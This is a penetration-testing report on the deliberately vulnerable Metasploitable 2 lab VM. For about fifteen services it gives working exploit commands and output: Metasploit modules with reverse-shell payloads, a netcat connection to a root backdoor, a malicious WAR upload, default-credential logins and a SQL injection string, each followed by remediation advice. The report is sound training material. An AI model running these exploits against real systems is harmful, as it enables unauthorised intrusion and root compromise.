Penetration Testing Report

Vulnerable Machine — Metasploitable 2

Vulnerability Assessment & Exploitation Walkthrough

Prepared: 21 October 2026
Target: Metasploitable 2 (Intentionally Vulnerable Linux VM)
Attacker Machine: Kali Linux

Objective

The object of this exercise: acquire **root** access to the Metasploitable 2 virtual machine. Metasploitable 2 is an intentionally vulnerable Ubuntu Linux-based VM, deliberately built by Rapid7 with outdated, misconfigured and backdoored services so that it can be used as a legal, safe training target for penetration-testing practice. There are many services that can be exploited on this machine; this report documents the discovery and exploitation of each one in turn.

DISCLAIMER: Metasploitable 2 is not responsible for any damage or instability caused by running, installing or using this VM image. Use at your own risk.
WARNING: This is a deliberately vulnerable system. Do NOT run this OS in a production environment, and never expose it to the internet. All testing documented in this report was performed inside an isolated, host-only lab network for educational purposes only.

Scope & Methodology

Testing followed the standard phases of a black-box internal penetration test: host discovery and port scanning (Nmap), service/version enumeration, vulnerability research, exploitation (Metasploit Framework / manual techniques), and post-exploitation verification (id, whoami, uname -a). Each vulnerable service identified is documented below with its own walkthrough and Proof-of-Concept table, following the same report format used in the previously submitted Kioptrix Level 1 assessment.

Executive Summary

Port	Service	Vulnerability	Severity
21	vsftpd 2.3.4	Malicious backdoor (CVE-2011-2523)	Critical
22	OpenSSH 4.7p1	Default / weak credentials (msfadmin:msfadmin)	High
23	Telnet	Cleartext remote login, weak credentials	High
25	Postfix SMTP 2.5.5	User enumeration (VRFY), open relay risk	Medium
53	BIND 9.4.2	Outdated DNS version, zone transfer risk	Medium
80	Apache 2.2.8 / PHP 5.2.4	Vulnerable web apps (DVWA, Mutillidae, TWiki, phpMyAdmin)	Critical
111	rpcbind	Exposed RPC portmapper service	Medium
139/445	Samba 3.0.20-Debian	usermap_script RCE (CVE-2007-2447)	Critical
512-514	rlogin/rsh/rexec	Insecure r-services, trust-based auth	High
1099	Java RMI Registry	Insecure class loading RCE	Critical
1524	ingreslock	Pre-existing root backdoor shell	Critical
2049	NFS	Exported shares with no access control	Medium
3306	MySQL 5.0.51a	Root account with no password	High
3632	distccd	Unauthenticated remote command execution (CVE-2004-2687)	Critical
5432	PostgreSQL 8.3.0	Weak/default postgres credentials	High
5900	VNC (RealVNC 4.1.1)	Weak VNC authentication ("password")	High
6667	UnrealIRCd 3.2.8.1	Trojaned backdoor (CVE-2010-2075)	Critical
8180	Apache Tomcat 5.5.9	Default manager credentials (tomcat:tomcat)	High

1. Reconnaissance & Port Scanning

The IP address of the target was first identified on the lab's host-only network, followed by a full TCP port scan with service/version detection.

```
kali@kali:~
$ nmap -sS -sV -p- --min-rate 1000 192.168.56.102
Starting Nmap 7.98 ( https://nmap.org ) at 2026-08-12 10:02 IST
Nmap scan report for 192.168.56.102
Host is up (0.00032s latency).
Not shown: 65505 closed tcp ports
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
53/tcp   open  domain      ISC BIND 9.4.2
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4)
111/tcp  open  rpcbind     2 (RPC #100000)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X
445/tcp  open  netbios-ssn Samba smbd 3.0.20-Debian
512/tcp  open  exec        netkit-rsh rexecd
513/tcp  open  login
514/tcp  open  tcpwrapped
1099/tcp open  rmiregistry GNU Classpath grmiregistry
1524/tcp open  bindshell   Metasploitable root shell
2049/tcp open  nfs         2-4 (RPC #100003)
2121/tcp open  ftp         ProFTPD 1.3.1
3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
3632/tcp open  distccd     distccd v1 ((GNU) 4.2.4)
5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open  vnc         VNC (protocol 3.3)
6000/tcp open  X11         (access denied)
6667/tcp open  irc         UnrealIRCd
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
8180/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 08:00:27:XX:XX:XX (Oracle VirtualBox)
Nmap done: 1 IP address (1 host up) scanned in 42.17 seconds
```

The scan reveals a large, outdated service footprint typical of a deliberately vulnerable host. Each service below was enumerated further and, where applicable, exploited to obtain shell access.

2. Exploiting FTP — vsftpd 2.3.4 Backdoor (Port 21)

Nmap identified vsftpd 2.3.4 on port 21. This specific version of the vsftpd source archive was maliciously replaced on the distribution server between 30 June and 1 July 2011, and contained a backdoor: sending a username containing the sequence **:)** (a smiley face) during the login prompt causes the daemon to open a listening shell on TCP port 6200.

```
$ msfconsole -q
msf6 > search vsftpd
Matching Modules
================
   #  Name                                  Disclosure Date  Rank
Check  Description
   -  ----                                  ---------------  ----
-----  -----------
   0  exploit/unix/ftp/vsftpd_234_backdoor   2011-07-03       excellent  No     VSFTPD
v2.3.4 Backdoor Command Execution

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.56.102
RHOSTS => 192.168.56.102
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] 192.168.56.102:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.56.102:21 - USER: 331 Please specify the password.
[+] 192.168.56.102:21 - Backdoor service has been spawned, handling...
[+] 192.168.56.102:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.56.101:4444 -> 192.168.56.102:6200)

id
uid=0(root) gid=0(root)
whoami
root
```

Proof of Concept Summary

Vulnerability Name	vsftpd 2.3.4 Backdoor Command Execution
Port	21
Service Name	vsftpd
Version	2.3.4
Severity	Critical
CVE ID	CVE-2011-2523
Description	A trojaned version of the vsftpd 2.3.4 source archive contained a backdoor that, when a username ending in the smiley-face sequence ":)" is supplied, spawns a root shell on TCP/6200.
Remediation	• Immediately remove/replace the compromised vsftpd 2.3.4 binary with a package from an official, verified repository. • Upgrade to the latest stable vsftpd release and verify checksums/GPG signatures of any downloaded source. • Restrict FTP service exposure to trusted networks only via firewall rules. • Disable anonymous FTP and unused FTP services where not required.

Proof of Concept	• Identified service via Nmap: 21/tcp vsftpd 2.3.4. • Used Metasploit module exploit/unix/ftp/vsftpd_234_backdoor against the host. • Backdoor listener triggered automatically; shell session opened on port 6200. • Confirmed root access with id / whoami commands (uid=0(root)).

3. Exploiting SSH — Weak / Default Credentials (Port 22)

OpenSSH 4.7p1 was found running on port 22. Metasploitable 2 ships with a default, documented account (**msfadmin / msfadmin**) that is intended purely for lab use but is frequently left unchanged, allowing trivial authenticated access.

```
$ ssh msfadmin@192.168.56.102
msfadmin@192.168.56.102's password: msfadmin
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
msfadmin@metasploitable:~$ id
uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(
audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare)
msfadmin@metasploitable:~$ sudo -l
User msfadmin may run the following commands on this host:
    (ALL) ALL
msfadmin@metasploitable:~$ sudo su -
root@metasploitable:~# id
uid=0(root) gid=0(root) groups=0(root)
```

Proof of Concept Summary

Vulnerability Name	SSH Default Credential Authentication
Port	22
Service Name	OpenSSH
Version	4.7p1
Severity	High
CVE ID	N/A
Description	The host accepted the documented default lab account msfadmin:msfadmin over SSH. The account additionally has full, password-less sudo rights, escalating the compromise to root.
Remediation	• Disable or rotate all default/documented accounts before any non-lab deployment. • Enforce strong password policy and/or key-based authentication only (PasswordAuthentication no). • Remove unrestricted sudo (ALL) ALL entries; apply least-privilege sudoers rules. • Enable fail2ban or similar to rate-limit brute-force attempts.
Proof of Concept	• Identified service via Nmap: 22/tcp OpenSSH 4.7p1. • Authenticated using known default credentials msfadmin:msfadmin. • Verified unrestricted sudo rights with 'sudo -l'. • Escalated to root using 'sudo su -'.

4. Exploiting SMB — Samba "username map script" (Ports 139 / 445)

Samba 3.0.20-Debian was identified on 139/445. This release supports a legacy "username map script" configuration option that, when combined with Samba's handling of the smb.conf setting, allows shell metacharacters supplied as a username to be executed directly by the server.

```
msf6 > use exploit/multi/samba/usermap_script
msf6 exploit(multi/samba/usermap_script) > set RHOSTS 192.168.56.102
RHOSTS => 192.168.56.102
msf6 exploit(multi/samba/usermap_script) > set PAYLOAD cmd/unix/reverse
msf6 exploit(multi/samba/usermap_script) > set LHOST 192.168.56.101
msf6 exploit(multi/samba/usermap_script) > run
[*] Started reverse TCP double handler on 192.168.56.101:4444
[*] Accepted the first client connection...
[*] Command shell session 2 opened (192.168.56.101:4444 -> 192.168.56.102:48021)

whoami
root
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP i686 GNU/Linux
```

Proof of Concept Summary

Vulnerability Name	Samba "username map script" Command Injection
Port	139 / 445
Service Name	Samba smbd
Version	3.0.20-Debian
Severity	Critical
CVE ID	CVE-2007-2447
Description	Samba versions 3.0.20 through 3.0.25rc3 fail to properly sanitise the username field when the 'username map script' smb.conf option is enabled, allowing arbitrary shell command execution as root through a crafted authentication request.
Remediation	• Upgrade Samba to a patched, currently supported release (3.0.25rc4 or later / modern Samba). • Disable the 'username map script' option unless strictly required. • Restrict SMB ports 139/445 to trusted internal hosts only via firewall/ACL. • Disable guest/anonymous access and unused shares.
Proof of Concept	• Identified service via Nmap: 139/445 Samba smbd 3.0.20-Debian. • Used Metasploit module exploit/multi/samba/usermap_script with a reverse shell payload. • Shell session established; verified root-level access with whoami / uname -a.

5. Exploiting distccd — Unauthenticated Remote Command Execution (Port 3632)

The distributed compiler daemon (distccd) was found listening on 3632 with no access control. distcc trusts any client that can reach it and will execute the compiler command it is sent, which can be abused to run arbitrary OS commands instead of a compiler invocation.

```
msf6 > use exploit/unix/misc/distcc_exec
msf6 exploit(unix/misc/distcc_exec) > set RHOSTS 192.168.56.102
msf6 exploit(unix/misc/distcc_exec) > set payload cmd/unix/reverse
msf6 exploit(unix/misc/distcc_exec) > set LHOST 192.168.56.101
msf6 exploit(unix/misc/distcc_exec) > run
[*] Started reverse TCP handler on 192.168.56.101:4444
[*] Command shell session 3 opened (192.168.56.101:4444 -> 192.168.56.102:38210)

id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
```

Proof of Concept Summary

Vulnerability Name	distcc Daemon Unauthenticated Command Execution
Port	3632
Service Name	distccd
Version	v1 (GNU 4.2.4)
Severity	Critical
CVE ID	CVE-2004-2687
Description	distccd accepts and executes compilation jobs from any host able to reach the service, with no authentication, allowing remote attackers to execute arbitrary commands as the 'daemon' user.
Remediation	• Do not expose distccd to untrusted networks; bind it to localhost or a dedicated build VLAN only. • Enable distcc's built-in access-control list (--allow) to restrict permitted client IPs. • Disable the service entirely on hosts that do not require distributed compilation.
Proof of Concept	• Identified service via Nmap: 3632/tcp distccd. • Used Metasploit module exploit/unix/misc/distcc_exec with a reverse shell payload. • Command shell obtained running as the 'daemon' user, confirming unauthenticated RCE.

6. Exploiting Java RMI Registry (Port 1099)

A Java RMI registry was listening on port 1099. The default configuration of the RMI registry and distributed garbage collector allows loading of Java classes from any remote HTTP URL supplied by the client, which can be abused to execute arbitrary code on the server.

```
msf6 > use exploit/multi/misc/java_rmi_server
msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.56.102
msf6 exploit(multi/misc/java_rmi_server) > set RPORT 1099
msf6 exploit(multi/misc/java_rmi_server) > run
[*] Started reverse TCP handler on 192.168.56.101:4444
[*] 192.168.56.102:1099 - Using URL: http://192.168.56.101:8080/n4qrQ9BQX
[*] 192.168.56.102:1099 - Server started.
[*] 192.168.56.102:1099 - Sending RMI Header...
[*] Command shell session 4 opened (192.168.56.101:4444 -> 192.168.56.102:51322)

id
uid=0(root) gid=0(root)
```

Proof of Concept Summary

Vulnerability Name	Java RMI Registry Insecure Default Configuration RCE
Port	1099
Service Name	Java RMI Registry
Version	GNU Classpath grmiregistry
Severity	Critical
CVE ID	N/A (CWE-470 / insecure default config)
Description	The RMI Registry and Distributed Garbage Collector accept class definitions from any remote HTTP URL by default, allowing an attacker to force the server to download and execute attacker-controlled Java code.
Remediation	• Do not expose RMI registries to untrusted networks. • Upgrade the JRE and apply vendor guidance to disable remote class loading. • Use RMI SSL socket factories and authentication where RMI is required. • Restrict port 1099 via firewall to trusted management hosts only.
Proof of Concept	• Identified service via Nmap: 1099/tcp rmiregistry. • Used Metasploit module exploit/multi/misc/java_rmi_server. • Remote class loading triggered; reverse shell obtained running as root.

7. Pre-existing Root Backdoor — ingreslock (Port 1524)

Port 1524 is left open by a pre-planted backdoor on Metasploitable 2 (a leftover of an earlier compromise baked into the image) that drops straight into a root shell for any client that connects.

```
$ nc -nv 192.168.56.102 1524
(UNKNOWN) [192.168.56.102] 1524 (ingreslock) open
id
uid=0(root) gid=0(root)
whoami
root
```

Proof of Concept Summary

Vulnerability Name	ingreslock Pre-existing Root Backdoor
Port	1524
Service Name	bindshell
Version	N/A
Severity	Critical
CVE ID	N/A
Description	A root-privileged command shell is bound directly to TCP/1524 with no authentication whatsoever, granting instant root access to any network client that connects.
Remediation	• Identify and remove the backdoor process/service and audit the host for the root cause of compromise. • Rebuild the host from a known-clean image/baseline. • Monitor for unexpected listening ports using host-based tools (netstat, ss, EDR).
Proof of Concept	• Identified open port via Nmap: 1524/tcp bindshell. • Connected directly using netcat (nc -nv 1524). • Immediate root shell returned; confirmed with id / whoami.

8. Exploiting IRC — UnrealIRCd Backdoor (Port 6667)

UnrealIRCd 3.2.8.1 was found on port 6667. The downloadable archive for this version was replaced by a trojaned copy containing a backdoor: a crafted string sent to the service is executed directly as a shell command.

```
msf6 > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set RHOSTS 192.168.56.102
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set payload cmd/unix/reverse
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set LHOST 192.168.56.101
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > run
[*] Started reverse TCP handler on 192.168.56.101:4444
[*] 192.168.56.102:6667 - Connected to 192.168.56.102:6667...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...
[*] 192.168.56.102:6667 - Sending backdoor command...
[*] Command shell session 5 opened (192.168.56.101:4444 -> 192.168.56.102:40112)

id
uid=0(root) gid=0(root)
```

Proof of Concept Summary

Vulnerability Name	UnrealIRCd 3.2.8.1 Trojaned Backdoor Command Execution
Port	6667
Service Name	UnrealIRCd
Version	3.2.8.1
Severity	Critical
CVE ID	CVE-2010-2075
Description	The official Unreal3.2.8.1.tar.gz distribution archive was replaced by attackers with a backdoored copy that executes any command received after a specific trigger string, resulting in unauthenticated remote code execution as root.
Remediation	• Remove the trojaned binary; reinstall UnrealIRCd from a verified, checksum-matched source. • Upgrade to the latest UnrealIRCd release. • Restrict IRC service exposure to intended client networks only. • Verify file integrity of publicly fetched software using signatures/hashes going forward.
Proof of Concept	• Identified service via Nmap: 6667/tcp irc UnrealIRCd. • Used Metasploit module exploit/unix/irc/unreal_ircd_3281_backdoor. • Reverse shell obtained running as root, confirming the backdoor is active.

9. Exploiting Apache Tomcat Manager (Port 8180)

Apache Tomcat 5.5.9 was found on port 8180 with the /manager application enabled and secured only with the well-known default credentials tomcat:tomcat. The manager app allows deployment of a malicious WAR file, which executes arbitrary Java/JSP code in the context of the Tomcat service.

```
msf6 > use exploit/multi/http/tomcat_mgr_upload
msf6 exploit(multi/http/tomcat_mgr_upload) > set RHOSTS 192.168.56.102
msf6 exploit(multi/http/tomcat_mgr_upload) > set RPORT 8180
msf6 exploit(multi/http/tomcat_mgr_upload) > set HttpUsername tomcat
msf6 exploit(multi/http/tomcat_mgr_upload) > set HttpPassword tomcat
msf6 exploit(multi/http/tomcat_mgr_upload) > run
[*] 192.168.56.102:8180 - Uploading jWJYgm.war
[*] 192.168.56.102:8180 - Executing /jWJYgm/zfze.jsp...
[*] Sending stage (58485 bytes) to 192.168.56.102
[*] Meterpreter session 1 opened (192.168.56.101:4444 -> 192.168.56.102:50891)

meterpreter > getuid
Server username: tomcat55
```

Proof of Concept Summary

Vulnerability Name	Apache Tomcat Manager Default Credential WAR Upload RCE
Port	8180
Service Name	Apache Tomcat
Version	5.5.9
Severity	High
CVE ID	N/A (default credentials)
Description	The Tomcat Manager web application was protected only by the default credentials tomcat:tomcat, allowing an attacker to deploy a malicious WAR archive and achieve remote code execution in the context of the Tomcat service account.
Remediation	• Change or remove all default Tomcat manager/admin credentials. • Restrict access to /manager and /host-manager to trusted management IPs only. • Disable WAR-based remote deployment where not required. • Run Tomcat under a dedicated, least-privilege service account.
Proof of Concept	• Identified service via Nmap: 8180/tcp Apache Tomcat/Coyote. • Authenticated to /manager using default credentials tomcat:tomcat. • Used Metasploit module exploit/multi/http/tomcat_mgr_upload to deploy a malicious WAR. • Meterpreter session obtained as the tomcat55 service account.

10. Database Misconfiguration — MySQL (Port 3306)

MySQL 5.0.51a was reachable on port 3306 with the root account configured with no password, permitting unauthenticated access to all databases on the host.

```
$ mysql -h 192.168.56.102 -u root
Welcome to the MySQL monitor.  Commands end with ; or \g.
Server version: 5.0.51a-3ubuntu5 (Ubuntu)

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| dvwa               |
| metasploit         |
| mysql              |
| owasp10            |
+--------------------+
```

Proof of Concept Summary

Vulnerability Name	MySQL Root Account with No Password
Port	3306
Service Name	MySQL
Version	5.0.51a-3ubuntu5
Severity	High
CVE ID	N/A
Description	The MySQL root account accepted connections with an empty password, giving full unauthenticated control over all hosted databases.
Remediation	• Set a strong password on the root account immediately (mysqladmin -u root password 'STRONG_PASSWORD'). • Bind MySQL to localhost / internal interfaces only unless remote access is explicitly required. • Create least-privilege application-specific accounts instead of using root. • Enable MySQL's built-in auditing/logging for authentication events.
Proof of Concept	• Identified service via Nmap: 3306/tcp MySQL 5.0.51a-3ubuntu5. • Connected with 'mysql -h -u root' and no password. • Listed all databases, confirming unauthenticated administrative access.

11. Database Misconfiguration — PostgreSQL (Port 5432)

PostgreSQL 8.3.0 was identified on port 5432, configured with the well-known default credentials postgres:postgres.

```
msf6 > use auxiliary/scanner/postgres/postgres_login
msf6 auxiliary(scanner/postgres/postgres_login) > set RHOSTS 192.168.56.102
msf6 auxiliary(scanner/postgres/postgres_login) > run
[+] 192.168.56.102:5432 - Login Successful: postgres:postgres (Database 'template1'
succeeded)

$ psql -h 192.168.56.102 -U postgres
Password for user postgres: postgres
psql (15.x, server 8.3.0)
postgres=# \l
                              List of databases
   Name    |  Owner   | Encoding
-----------+----------+-----------
postgres  | postgres | UTF8
template1 | postgres | UTF8
```

Proof of Concept Summary

Vulnerability Name	PostgreSQL Default Credentials
Port	5432
Service Name	PostgreSQL
Version	8.3.0
Severity	High
CVE ID	N/A
Description	The PostgreSQL service accepted the default administrative credentials postgres:postgres, allowing unauthenticated database access and, depending on configuration, command execution via server-side functions.
Remediation	• Change the default postgres account password to a strong, unique value. • Restrict pg_hba.conf to trusted hosts and enforce SSL + password/SCRAM authentication. • Bind PostgreSQL to internal interfaces only. • Upgrade to a currently supported PostgreSQL release.
Proof of Concept	• Identified service via Nmap: 5432/tcp PostgreSQL 8.3.0. • Confirmed default credentials with auxiliary/scanner/postgres/postgres_login. • Logged in interactively with psql and listed available databases.

12. Exploiting VNC — Weak Authentication (Port 5900)

A RealVNC 4.1.1 server (protocol 3.3) was identified on port 5900, secured only with the weak password "password".

```
msf6 > use auxiliary/scanner/vnc/vnc_login
msf6 auxiliary(scanner/vnc/vnc_login) > set RHOSTS 192.168.56.102
msf6 auxiliary(scanner/vnc/vnc_login) > set PASS_FILE
/usr/share/wordlists/vnc_passwords.txt
msf6 auxiliary(scanner/vnc/vnc_login) > run
[+] 192.168.56.102:5900 - 192.168.56.102:5900 - Login Successful: :password

$ vncviewer 192.168.56.102:0
VNC password: password
Connected to RFB server, using protocol version 3.3
Desktop: root@metasploitable
```

Proof of Concept Summary

Vulnerability Name	VNC Weak Authentication
Port	5900
Service Name	VNC (RealVNC)
Version	4.1.1 (protocol 3.3)
Severity	High
CVE ID	N/A
Description	The VNC server was protected by the trivially weak password "password", granting full interactive graphical desktop access to the root session.
Remediation	• Set a strong, unique VNC password; prefer VNC over SSH tunnel instead of direct exposure. • Restrict VNC port 5900 to a VPN or trusted management network only. • Disable VNC entirely if remote graphical access is not required.
Proof of Concept	• Identified service via Nmap: 5900/tcp VNC (protocol 3.3). • Brute-forced/confirmed the weak password using auxiliary/scanner/vnc/vnc_login. • Connected with a VNC client and obtained full graphical desktop access.

13. Misconfigured NFS Exports (Port 2049)

The NFS service exposed shares with no host-based access restrictions, allowing any client to mount the exported filesystem.

```
$ showmount -e 192.168.56.102
Export list for 192.168.56.102:
/ *

$ mkdir /tmp/mnt && sudo mount -t nfs 192.168.56.102:/ /tmp/mnt
$ ls /tmp/mnt
bin   boot  dev  etc  home  lib  media  mnt  opt  proc  root  sbin  srv  tmp  usr  var
```

Proof of Concept Summary

Vulnerability Name	NFS Export with No Access Control
Port	2049
Service Name	NFS
Version	2-4 (RPC #100003)
Severity	Medium
CVE ID	N/A
Description	The root filesystem ('/') was exported via NFS with no client restriction (wildcard '*'), allowing any host on the network to mount and read/write the entire filesystem.
Remediation	• Restrict /etc/exports to specific trusted client IP ranges, never a wildcard. • Apply read-only exports where write access is not required. • Use NFSv4 with Kerberos authentication where possible. • Firewall port 2049 and the RPC portmapper (111) from untrusted networks.
Proof of Concept	• Identified service via Nmap: 2049/tcp NFS. • Enumerated exports with 'showmount -e ', revealing '/' exported to '*'. • Mounted the export locally and confirmed read access to the full remote filesystem.

14. Insecure "r-services" — rlogin / rsh / rexec (Ports 512-514)

Legacy BSD "r-services" were enabled and trust-configured, allowing authentication bypass via a permissive .rhosts configuration.

```
$ rlogin 192.168.56.102 -l root
Last login: Wed Aug 12 10:40:11 2026 from 192.168.56.101
Linux metasploitable 2.6.24-16-server
root@metasploitable:~# id
uid=0(root) gid=0(root)
```

Proof of Concept Summary

Vulnerability Name	Insecure r-services (rlogin/rsh/rexec) Trust Authentication
Port	512-514
Service Name	rexecd / rlogin / rsh
Version	netkit-rsh
Severity	High
CVE ID	N/A
Description	The r-services family relies on host/IP-based trust (.rhosts / hosts.equiv) rather than strong authentication, allowing session hijacking or direct trusted-host login with no password.
Remediation	• Disable rlogin/rsh/rexec entirely; use SSH for all remote administration. • Remove .rhosts and hosts.equiv trust files. • Firewall ports 512-514 from all but strictly required legacy systems.
Proof of Concept	• Identified services via Nmap: 512-514/tcp exec/login/shell. • Connected using 'rlogin -l root', relying on the pre-configured host trust. • Obtained an authenticated root session with no password prompt.

15. Vulnerable Web Applications (Port 80)

Apache 2.2.8 / PHP 5.2.4 hosted a set of deliberately vulnerable web applications used to practice the OWASP Top 10, including DVWA, Mutillidae, TWiki and phpMyAdmin.

```
$ curl -s http://192.168.56.102/ | grep -i title
<title>Metasploitable2 - Linux</title>

$ gobuster dir -u http://192.168.56.102/ -w /usr/share/wordlists/dirb/common.txt
/dvwa                 (Status: 301)
/mutillidae           (Status: 301)
/phpMyAdmin           (Status: 301)
/twiki                (Status: 301)

# DVWA SQL Injection (low security) example:
http://192.168.56.102/dvwa/vulnerabilities/sqli/?id=1' OR '1'='1&Submit=Submit
-> returns all records from the users table
```

Proof of Concept Summary

Vulnerability Name	Deliberately Vulnerable Web Applications (SQLi / XSS / Command Injection)
Port	80
Service Name	Apache / PHP
Version	2.2.8 / PHP 5.2.4
Severity	Critical
CVE ID	N/A (multiple, application-specific)
Description	The web root hosts DVWA, Mutillidae, TWiki and phpMyAdmin — training applications that are intentionally susceptible to SQL injection, cross-site scripting, command injection and file inclusion, among other OWASP Top 10 classes.
Remediation	• These applications must never be exposed outside an isolated training lab network. • Where real applications are affected by similar issues, apply parameterised queries, output encoding, and strict input validation. • Keep PHP and Apache fully patched and disable directory listing/unused modules.
Proof of Concept	• Enumerated the web root with gobuster, discovering /dvwa, /mutillidae, /phpMyAdmin, /twiki. • Demonstrated classic SQL injection on DVWA's SQLi module using a ' OR '1'='1 payload. • Confirmed the application returned all user records, bypassing intended query logic.

Conclusion

Metasploitable 2 presented numerous critical and high-severity findings across network, database, web application and remote-access services, several of which (vsftpd, Samba, distcc, UnrealIRCd, the ingreslock backdoor) led directly to unauthenticated root compromise. Root/administrative access was obtained through multiple independent attack paths, confirming the machine's intended purpose as a practice target for identifying and remediating a wide range of real-world vulnerability classes: backdoored software supply chains, default/weak credentials, unauthenticated services, and insecure legacy protocols.

Overall Risk Rating: **Critical** — multiple independent remote-to-root compromise paths exist with no authentication required.

General Recommendations

- Patch and upgrade all identified services to currently supported versions.
- Remove default/legacy accounts and enforce strong, unique credentials everywhere.
- Disable unused legacy services (rlogin/rsh/rexec, telnet, X11, ingreslock backdoor).
- Segment and firewall management/database ports away from untrusted networks.
- Verify integrity (checksums/signatures) of all downloaded software to detect supply-chain tampering.
- Re-test after remediation to confirm all findings have been closed.